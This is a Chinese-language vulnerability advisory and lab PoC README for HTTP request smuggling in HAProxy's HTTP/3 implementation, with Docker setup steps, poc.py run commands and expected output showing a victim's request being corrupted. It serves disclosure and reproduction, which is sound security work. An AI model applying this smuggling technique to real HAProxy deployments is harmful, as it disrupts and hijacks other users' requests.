完整文章请见:https://r3verii.github.io/cve/2026/04/14/haproxy-h3-standalone-fin-smuggling.html
HAProxy 的 HTTP/3 实现中存在一个漏洞,允许攻击者发送一个 Content-Length 头与实际请求体大小不匹配的 HTTP 请求。HAProxy 会将该畸形请求以声明的 Content-Length 但零请求体字节的形式,通过 HTTP/1.1 转发到后端。当后端发送早期响应(例如 301 重定向)并从 TCP 连接中排空待处理的请求体时,它会消耗属于该连接上下一个 HTTP 请求的字节——而该请求可能来自不同的用户。
这会导致通过 HAProxy 后端连接池实现的跨用户 HTTP 请求走私。
受影响版本:支持 QUIC/H3 的 HAProxy(USE_QUIC=1)。已在 HAProxy 3.0.18 上测试。
所需配置:http-reuse always(非默认配置,但在生产环境中很常见)
包含 3 个服务的 Docker Compose:
http-reuse always)/photos 目录上启用 autoindex on,/status 返回 200# 1. 启动实验环境(首次构建 HAProxy 约需 10 分钟)
cd poc/
docker compose up -d --build
# 2. 以连续模式运行 PoC
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --interval 3
# 3. 从浏览器访问 https://<host>:10002/status
# (接受自签名证书,Chrome 中使用 --ignore-certificate-errors)
# 反复刷新。约 50% 的响应将为 400 Bad Request。
# 4. 停止 PoC(Ctrl+C)。所有浏览器响应恢复正常(200)。
docker exec -it poc-client python3 poc.py --target haproxy --port 10002 --once
预期输出:
[1] 发送恶意请求(H3/QUIC)...
-> 收到 301。后端连接已入池,待处理请求体正在排空。
[2] 等待 0.5 秒,让 HAProxy 将连接入池...
[3] 从独立的 QUIC 连接发送受害者 GET /status 请求...
-> 响应:HTTP 400
[!] 走私已确认
[!] 独立连接上的受害者收到 400 而非 200
[!] 后端将受害者的请求解析为恶意 POST 的请求体